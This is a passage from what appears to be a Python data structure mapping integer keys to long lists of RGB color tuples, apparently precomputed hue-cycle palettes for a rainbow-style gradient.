184, 101), (204, 189, 101), (204, 194, 101), (204, 198, 101), (204, 203, 101), (200, 204, 101), (195, 204, 101), (190, 204, 101), (186, 204, 101), (181, 204, 101), (177, 204, 101), (172, 204, 101), (167, 204, 101), (163, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (144, 204, 101), (140, 204, 101), (135, 204, 101), (131, 204, 101), (126, 204, 101), (121, 204, 101), (117, 204, 101), (112, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 114), (101, 204, 118), (101, 204, 123), (101, 204, 128), (101, 204, 132), (101, 204, 137), (101, 204, 141), (101, 204, 146), (101, 204, 151), (101, 204, 155), (101, 204, 160), (101, 204, 164), (101, 204, 169), (101, 204, 174), (101, 204, 178), (101, 204, 183), (101, 204, 187), (101, 204, 192), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 192, 204), (101, 187, 204), (101, 183, 204), (101, 178, 204), (101, 174, 204), (101, 169, 204), (101, 164, 204), (101, 160, 204), (101, 155, 204), (101, 151, 204), (101, 146, 204), (101, 141, 204), (101, 137, 204), (101, 132, 204), (101, 128, 204), (101, 123, 204), (101, 118, 204), (101, 114, 204), (101, 109, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (112, 101, 204), (117, 101, 204), (121, 101, 204), (126, 101, 204), (131, 101, 204), (135, 101, 204), (140, 101, 204), (144, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (163, 101, 204), (167, 101, 204), (172, 101, 204), (177, 101, 204), (181, 101, 204), (186, 101, 204), (190, 101, 204), (195, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 198), (204, 101, 194), (204, 101, 189), (204, 101, 184), (204, 101, 180), (204, 101, 175), (204, 101, 171), (204, 101, 166), (204, 101, 161), (204, 101, 157), (204, 101, 152), (204, 101, 148), (204, 101, 143), (204, 101, 138), (204, 101, 134), (204, 101, 129), (204, 101, 125), (204, 101, 120), (204, 101, 115), (204, 101, 111), (204, 101, 106)], 134: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 115, 101), (204, 120, 101), (204, 124, 101), (204, 129, 101), (204, 133, 101), (204, 138, 101), (204, 143, 101), (204, 147, 101), (204, 152, 101), (204, 156, 101), (204, 161, 101), (204, 165, 101), (204, 170, 101), (204, 175, 101), (204, 179, 101), (204, 184, 101), (204, 188, 101), (204, 193, 101), (204, 197, 101), (204, 202, 101), (200, 204, 101), (196, 204, 101), (191, 204, 101), (187, 204, 101), (182, 204, 101), (178, 204, 101), (173, 204, 101), (168, 204, 101), (164, 204, 101), (159, 204, 101), (155, 204, 101), (150, 204, 101), (146, 204, 101), (141, 204, 101), (137, 204, 101), (132, 204, 101), (127, 204, 101), (123, 204, 101), (118, 204, 101), (114, 204, 101), (109, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 112), (101, 204, 117), (101, 204, 121), (101, 204, 126), (101, 204, 130), (101, 204, 135), (101, 204, 140), (101, 204, 144), (101, 204, 149), (101, 204, 153), (101, 204, 158), (101, 204, 162), (101, 204, 167), (101, 204, 172), (101, 204, 176), (101, 204, 181), (101, 204, 185), (101, 204, 190), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 190, 204), (101, 185, 204), (101, 181, 204), (101, 176, 204), (101, 172, 204), (101, 167, 204), (101, 162, 204), (101, 158, 204), (101, 153, 204), (101, 149, 204), (101, 144, 204), (101, 140, 204), (101, 135, 204), (101, 130, 204), (101, 126, 204), (101, 121, 204), (101, 117, 204), (101, 112, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (109, 101, 204), (114, 101, 204), (118, 101, 204), (123, 101, 204), (127, 101, 204), (132, 101, 204), (137, 101, 204), (141, 101, 204), (146, 101, 204), (150, 101, 204), (155, 101, 204), (159, 101, 204), (164, 101, 204), (168, 101, 204), (173, 101, 204), (178, 101, 204), (182, 101, 204), (187, 101, 204), (191, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 197), (204, 101, 193), (204, 101, 188), (204, 101, 184), (204, 101, 179), (204, 101, 175), (204, 101, 170), (204, 101, 165), (204, 101, 161), (204, 101, 156), (204, 101, 152), (204, 101, 147), (204, 101, 143), (204, 101, 138), (204, 101, 133), (204, 101, 129), (204, 101, 124), (204, 101, 120), (204, 101, 115), (204, 101, 111), (204, 101, 106)], 135: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 115, 101), (204, 120, 101), (204, 124, 101), (204, 129, 101), (204, 133, 101), (204, 138, 101), (204, 142, 101), (204, 147, 101), (204, 151, 101), (204, 156, 101), (204, 160, 101), (204, 165, 101), (204, 170, 101), (204, 174, 101), (204, 179, 101), (204, 183, 101), (204, 188, 101), (204, 192, 101), (204, 197, 101), (204, 201, 101), (201, 204, 101), (197, 204, 101), (192, 204, 101), (188, 204, 101), (183, 204, 101), (179, 204, 101), (174, 204, 101), (169, 204, 101), (165, 204, 101), (160, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (142, 204, 101), (138, 204, 101), (133, 204, 101), (129, 204, 101), (124, 204, 101), (120, 204, 101), (115, 204, 101), (111, 204, 101), (106, 204, 101), (101, 204, 102), (101, 204, 106), (101, 204, 111), (101, 204, 115), (101, 204, 120), (101, 204, 124), (101, 204, 129), (101, 204, 133), (101, 204, 138), (101, 204, 142), (101, 204, 147), (101, 204, 151), (101, 204, 156), (101, 204, 160), (101, 204, 165), (101, 204, 170), (101, 204, 174), (101, 204, 179), (101, 204, 183), (101, 204, 188), (101, 204, 192), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 192, 204), (101, 188, 204), (101, 183, 204), (101, 179, 204), (101, 174, 204), (101, 169, 204), (101, 165, 204), (101, 160, 204), (101, 156, 204), (101, 151, 204), (101, 147, 204), (101, 142, 204), (101, 138, 204), (101, 133, 204), (101, 129, 204), (101, 124, 204), (101, 120, 204), (101, 115, 204), (101, 111, 204), (101, 106, 204), (101, 101, 204), (106, 101, 204), (111, 101, 204), (115, 101, 204), (120, 101, 204), (124, 101, 204), (129, 101, 204), (133, 101, 204), (138, 101, 204), (142, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (160, 101, 204), (165, 101, 204), (169, 101, 204), (174, 101, 204), (179, 101, 204), (183, 101, 204), (188, 101, 204), (192, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 192), (204, 101, 188), (204, 101, 183), (204, 101, 179), (204, 101, 174), (204, 101, 169), (204, 101, 165), (204, 101, 160), (204, 101, 156), (204, 101, 151), (204, 101, 147), (204, 101, 142), (204, 101, 138), (204, 101, 133), (204, 101, 129), (204, 101, 124), (204, 101, 120), (204, 101, 115), (204, 101, 111), (204, 101, 106)], 136: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 124, 101), (204, 129, 101), (204, 133, 101), (204, 138, 101), (204, 142, 101), (204, 146, 101), (204, 151, 101), (204, 155, 101), (204, 160, 101), (204, 165, 101), (204, 169, 101), (204, 174, 101), (204, 178, 101), (204, 182, 101), (204, 187, 101), (204, 191, 101), (204, 196, 101), (204, 201, 101), (202, 204, 101), (198, 204, 101), (193, 204, 101), (189, 204, 101), (184, 204, 101), (180, 204, 101), (175, 204, 101), (170, 204, 101), (166, 204, 101), (162, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (144, 204, 101), (139, 204, 101), (135, 204, 101), (130, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (112, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 114), (101, 204, 118), (101, 204, 123), (101, 204, 127), (101, 204, 131), (101, 204, 136), (101, 204, 140), (101, 204, 145), (101, 204, 149), (101, 204, 154), (101, 204, 159), (101, 204, 163), (101, 204, 168), (101, 204, 172), (101, 204, 177), (101, 204, 181), (101, 204, 186), (101, 204, 190), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 190, 204), (101, 186, 204), (101, 181, 204), (101, 177, 204), (101, 172, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 154, 204), (101, 149, 204), (101, 145, 204), (101, 140, 204), (101, 136, 204), (101, 131, 204), (101, 127, 204), (101, 122, 204), (101, 118, 204), (101, 114, 204), (101, 109, 204), (101, 105, 204), (103, 101, 204), (107, 101, 204), (112, 101, 204), (116, 101, 204), (121, 101, 204), (125, 101, 204), (130, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (161, 101, 204), (166, 101, 204), (170, 101, 204), (175, 101, 204), (179, 101, 204), (184, 101, 204), (188, 101, 204), (193, 101, 204), (197, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 191), (204, 101, 187), (204, 101, 182), (204, 101, 178), (204, 101, 173), (204, 101, 169), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 151), (204, 101, 146), (204, 101, 142), (204, 101, 137), (204, 101, 133), (204, 101, 128), (204, 101, 124), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 137: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 124, 101), (204, 128, 101), (204, 133, 101), (204, 137, 101), (204, 142, 101), (204, 146, 101), (204, 151, 101), (204, 155, 101), (204, 160, 101), (204, 164, 101), (204, 169, 101), (204, 173, 101), (204, 177, 101), (204, 182, 101), (204, 186, 101), (204, 191, 101), (204, 195, 101), (204, 200, 101), (203, 204, 101), (198, 204, 101), (194, 204, 101), (189, 204, 101), (185, 204, 101), (180, 204, 101), (176, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (145, 204, 101), (140, 204, 101), (136, 204, 101), (131, 204, 101), (127, 204, 101), (122, 204, 101), (118, 204, 101), (113, 204, 101), (109, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 112), (101, 204, 116), (101, 204, 121), (101, 204, 125), (101, 204, 130), (101, 204, 134), (101, 204, 139), (101, 204, 143), (101, 204, 148), (101, 204, 152), (101, 204, 157), (101, 204, 161), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 179), (101, 204, 183), (101, 204, 188), (101, 204, 192), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 192, 204), (101, 188, 204), (101, 183, 204), (101, 179, 204), (101, 174, 204), (101, 170, 204), (101, 166, 204), (101, 161, 204), (101, 157, 204), (101, 152, 204), (101, 148, 204), (101, 143, 204), (101, 139, 204), (101, 134, 204), (101, 130, 204), (101, 125, 204), (101, 121, 204), (101, 116, 204), (101, 112, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (109, 101, 204), (113, 101, 204), (118, 101, 204), (122, 101, 204), (127, 101, 204), (131, 101, 204), (136, 101, 204), (140, 101, 204), (145, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (176, 101, 204), (180, 101, 204), (185, 101, 204), (189, 101, 204), (194, 101, 204), (198, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 195), (204, 101, 191), (204, 101, 186), (204, 101, 182), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 164), (204, 101, 160), (204, 101, 155), (204, 101, 151), (204, 101, 146), (204, 101, 142), (204, 101, 137), (204, 101, 133), (204, 101, 128), (204, 101, 124), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 138: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 124, 101), (204, 128, 101), (204, 133, 101), (204, 137, 101), (204, 141, 101), (204, 146, 101), (204, 150, 101), (204, 155, 101), (204, 159, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 177, 101), (204, 181, 101), (204, 186, 101), (204, 190, 101), (204, 195, 101), (204, 199, 101), (204, 204, 101), (199, 204, 101), (195, 204, 101), (190, 204, 101), (186, 204, 101), (181, 204, 101), (177, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (159, 204, 101), (155, 204, 101), (150, 204, 101), (146, 204, 101), (141, 204, 101), (137, 204, 101), (133, 204, 101), (128, 204, 101), (124, 204, 101), (119, 204, 101), (115, 204, 101), (110, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 110), (101, 204, 115), (101, 204, 119), (101, 204, 124), (101, 204, 128), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 146), (101, 204, 150), (101, 204, 155), (101, 204, 159), (101, 204, 164), (101, 204, 168), (101, 204, 172), (101, 204, 177), (101, 204, 181), (101, 204, 186), (101, 204, 190), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 190, 204), (101, 186, 204), (101, 181, 204), (101, 177, 204), (101, 172, 204), (101, 168, 204), (101, 164, 204), (101, 159, 204), (101, 155, 204), (101, 150, 204), (101, 146, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 128, 204), (101, 124, 204), (101, 119, 204), (101, 115, 204), (101, 110, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (110, 101, 204), (115, 101, 204), (119, 101, 204), (124, 101, 204), (128, 101, 204), (133, 101, 204), (137, 101, 204), (141, 101, 204), (146, 101, 204), (150, 101, 204), (155, 101, 204), (159, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (177, 101, 204), (181, 101, 204), (186, 101, 204), (190, 101, 204), (195, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 195), (204, 101, 190), (204, 101, 186), (204, 101, 181), (204, 101, 177), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 159), (204, 101, 155), (204, 101, 150), (204, 101, 146), (204, 101, 141), (204, 101, 137), (204, 101, 133), (204, 101, 128), (204, 101, 124), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 139: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 124, 101), (204, 128, 101), (204, 132, 101), (204, 137, 101), (204, 141, 101), (204, 146, 101), (204, 150, 101), (204, 154, 101), (204, 159, 101), (204, 163, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 181, 101), (204, 185, 101), (204, 190, 101), (204, 194, 101), (204, 198, 101), (204, 203, 101), (200, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (182, 204, 101), (178, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (160, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (138, 204, 101), (134, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (116, 204, 101), (112, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 109), (101, 204, 113), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 131), (101, 204, 135), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 153), (101, 204, 157), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 175), (101, 204, 179), (101, 204, 184), (101, 204, 188), (101, 204, 192), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 192, 204), (101, 188, 204), (101, 184, 204), (101, 179, 204), (101, 175, 204), (101, 170, 204), (101, 166, 204), (101, 162, 204), (101, 157, 204), (101, 153, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 135, 204), (101, 131, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 113, 204), (101, 109, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (112, 101, 204), (116, 101, 204), (121, 101, 204), (125, 101, 204), (129, 101, 204), (134, 101, 204), (138, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (160, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (178, 101, 204), (182, 101, 204), (187, 101, 204), (191, 101, 204), (195, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 198), (204, 101, 194), (204, 101, 190), (204, 101, 185), (204, 101, 181), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 163), (204, 101, 159), (204, 101, 154), (204, 101, 150), (204, 101, 146), (204, 101, 141), (204, 101, 137), (204, 101, 132), (204, 101, 128), (204, 101, 124), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 140: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 123, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 141, 101), (204, 145, 101), (204, 150, 101), (204, 154, 101), (204, 158, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 176, 101), (204, 180, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 198, 101), (204, 202, 101), (201, 204, 101), (196, 204, 101), (192, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (174, 204, 101), (170, 204, 101), (166, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (144, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (126, 204, 101), (122, 204, 101), (118, 204, 101), (113, 204, 101), (109, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 112), (101, 204, 116), (101, 204, 120), (101, 204, 125), (101, 204, 129), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 147), (101, 204, 151), (101, 204, 155), (101, 204, 160), (101, 204, 164), (101, 204, 169), (101, 204, 173), (101, 204, 177), (101, 204, 182), (101, 204, 186), (101, 204, 190), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 190, 204), (101, 186, 204), (101, 182, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 164, 204), (101, 160, 204), (101, 155, 204), (101, 151, 204), (101, 147, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 129, 204), (101, 125, 204), (101, 120, 204), (101, 116, 204), (101, 112, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (109, 101, 204), (113, 101, 204), (118, 101, 204), (122, 101, 204), (126, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (161, 101, 204), (166, 101, 204), (170, 101, 204), (174, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (192, 101, 204), (196, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 180), (204, 101, 176), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 158), (204, 101, 154), (204, 101, 150), (204, 101, 145), (204, 101, 141), (204, 101, 136), (204, 101, 132), (204, 101, 128), (204, 101, 123), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 141: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 115, 101), (204, 119, 101), (204, 123, 101), (204, 128, 101), (204, 132, 101), (204, 136, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 154, 101), (204, 158, 101), (204, 162, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 193, 101), (204, 197, 101), (204, 201, 101), (201, 204, 101), (197, 204, 101), (193, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (175, 204, 101), (171, 204, 101), (167, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (123, 204, 101), (119, 204, 101), (115, 204, 101), (110, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 110), (101, 204, 115), (101, 204, 119), (101, 204, 123), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 141), (101, 204, 145), (101, 204, 149), (101, 204, 154), (101, 204, 158), (101, 204, 162), (101, 204, 167), (101, 204, 171), (101, 204, 175), (101, 204, 180), (101, 204, 184), (101, 204, 188), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 188, 204), (101, 184, 204), (101, 180, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 162, 204), (101, 158, 204), (101, 154, 204), (101, 149, 204), (101, 145, 204), (101, 141, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 123, 204), (101, 119, 204), (101, 115, 204), (101, 110, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (110, 101, 204), (115, 101, 204), (119, 101, 204), (123, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (167, 101, 204), (171, 101, 204), (175, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (193, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 162), (204, 101, 158), (204, 101, 154), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 136), (204, 101, 132), (204, 101, 128), (204, 101, 123), (204, 101, 119), (204, 101, 115), (204, 101, 110), (204, 101, 106)], 142: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 119, 101), (204, 123, 101), (204, 127, 101), (204, 132, 101), (204, 136, 101), (204, 140, 101), (204, 145, 101), (204, 149, 101), (204, 153, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 175, 101), (204, 179, 101), (204, 183, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 201, 101), (202, 204, 101), (198, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (181, 204, 101), (176, 204, 101), (172, 204, 101), (168, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (137, 204, 101), (133, 204, 101), (129, 204, 101), (124, 204, 101), (120, 204, 101), (116, 204, 101), (112, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 109), (101, 204, 113), (101, 204, 117), (101, 204, 122), (101, 204, 126), (101, 204, 130), (101, 204, 135), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 165), (101, 204, 169), (101, 204, 173), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 186, 204), (101, 182, 204), (101, 178, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 160, 204), (101, 156, 204), (101, 152, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 135, 204), (101, 130, 204), (101, 126, 204), (101, 122, 204), (101, 117, 204), (101, 113, 204), (101, 109, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (112, 101, 204), (116, 101, 204), (120, 101, 204), (124, 101, 204), (129, 101, 204), (133, 101, 204), (137, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (168, 101, 204), (172, 101, 204), (176, 101, 204), (181, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 183), (204, 101, 179), (204, 101, 175), (204, 101, 170), (204, 101, 166), (204, 101, 162), (204, 101, 158), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 140), (204, 101, 136), (204, 101, 132), (204, 101, 127), (204, 101, 123), (204, 101, 119), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 143: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 119, 101), (204, 123, 101), (204, 127, 101), (204, 131, 101), (204, 136, 101), (204, 140, 101), (204, 144, 101), (204, 149, 101), (204, 153, 101), (204, 157, 101), (204, 161, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 196, 101), (204, 200, 101), (203, 204, 101), (199, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (181, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (134, 204, 101), (130, 204, 101), (126, 204, 101), (121, 204, 101), (117, 204, 101), (113, 204, 101), (109, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 116), (101, 204, 120), (101, 204, 124), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 146), (101, 204, 150), (101, 204, 154), (101, 204, 159), (101, 204, 163), (101, 204, 167), (101, 204, 171), (101, 204, 176), (101, 204, 180), (101, 204, 184), (101, 204, 189), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 189, 204), (101, 184, 204), (101, 180, 204), (101, 176, 204), (101, 171, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 154, 204), (101, 150, 204), (101, 146, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 124, 204), (101, 120, 204), (101, 116, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (109, 101, 204), (113, 101, 204), (117, 101, 204), (121, 101, 204), (126, 101, 204), (130, 101, 204), (134, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (181, 101, 204), (186, 101, 204), (190, 101, 204), (194, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 174), (204, 101, 170), (204, 101, 166), (204, 101, 161), (204, 101, 157), (204, 101, 153), (204, 101, 149), (204, 101, 144), (204, 101, 140), (204, 101, 136), (204, 101, 131), (204, 101, 127), (204, 101, 123), (204, 101, 119), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 144: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 123, 101), (204, 127, 101), (204, 131, 101), (204, 136, 101), (204, 140, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 157, 101), (204, 161, 101), (204, 165, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 182, 101), (204, 186, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 204, 101), (199, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (169, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (118, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 152), (101, 204, 157), (101, 204, 161), (101, 204, 165), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 182), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 182, 204), (101, 178, 204), (101, 174, 204), (101, 169, 204), (101, 165, 204), (101, 161, 204), (101, 157, 204), (101, 153, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 123, 204), (101, 118, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (110, 101, 204), (114, 101, 204), (118, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (136, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (186, 101, 204), (191, 101, 204), (195, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 186), (204, 101, 182), (204, 101, 178), (204, 101, 174), (204, 101, 169), (204, 101, 165), (204, 101, 161), (204, 101, 157), (204, 101, 153), (204, 101, 148), (204, 101, 144), (204, 101, 140), (204, 101, 135), (204, 101, 131), (204, 101, 127), (204, 101, 123), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 145: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 123, 101), (204, 127, 101), (204, 131, 101), (204, 135, 101), (204, 139, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 156, 101), (204, 161, 101), (204, 165, 101), (204, 